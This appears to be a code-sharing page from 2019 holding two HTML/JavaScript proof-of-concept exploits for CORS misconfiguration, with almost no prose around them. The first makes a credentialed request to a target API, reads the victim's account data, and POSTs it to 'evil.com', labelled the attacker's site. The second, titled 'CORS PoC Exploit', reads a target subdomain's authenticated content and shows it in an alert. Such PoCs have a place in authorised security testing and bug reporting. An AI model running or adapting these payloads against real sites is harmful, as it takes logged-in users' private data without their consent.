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August 15, 2019 08:30
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<html> | |
<body> | |
<button type='button' onclick='cors()'>CORS</button> | |
<p id='demo'></p> | |
<script> | |
function cors() { | |
var xhttp = new XMLHttpRequest(); | |
xhttp.onreadystatechange = function() { | |
if (this.readyState == 4 && this.status == 200) { | |
var a = this.responseText; // Sensitive data from niche.co about user account | |
document.getElementById("demo").innerHTML = a; | |
xhttp.open("POST", "http://evil.com", true);// Sending that data to Attacker's website | |
xhttp.withCredentials = true; | |
console.log(a); | |
xhttp.send("data="+a); | |
} | |
}; | |
xhttp.open("GET", "https://target.subdomain.com/sUduFmQH/xhr/api/v2/collector", true); | |
xhttp.withCredentials = true; | |
xhttp.send(); | |
} | |
</script> | |
</body> | |
</html> |
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<!DOCTYPE html> | |
<html> | |
<head> | |
<script> | |
function cors() { | |
var xhttp = new XMLHttpRequest(); | |
xhttp.onreadystatechange = function() { | |
if (this.readyState == 4 && this.status == 200) { | |
document.getElementById("emo").innerHTML = alert(this.responseText); | |
} | |
}; | |
xhttp.open("GET", "subdomain.your-target.com", true); | |
xhttp.withCredentials = true; | |
xhttp.send(); | |
} | |
</script> | |
</head> | |
<body> | |
<center> | |
<h2>CORS PoC Exploit </h2> | |
<h3>created by <a href="https://twitter.com/Jarvis7717">@Jarvis</a></h3> | |
<h3>Show full content of page</h3> | |
<div id="demo"> | |
<button type="button" onclick="cors()">Exploit</button> | |
</div> | |
</body> | |
</html> |
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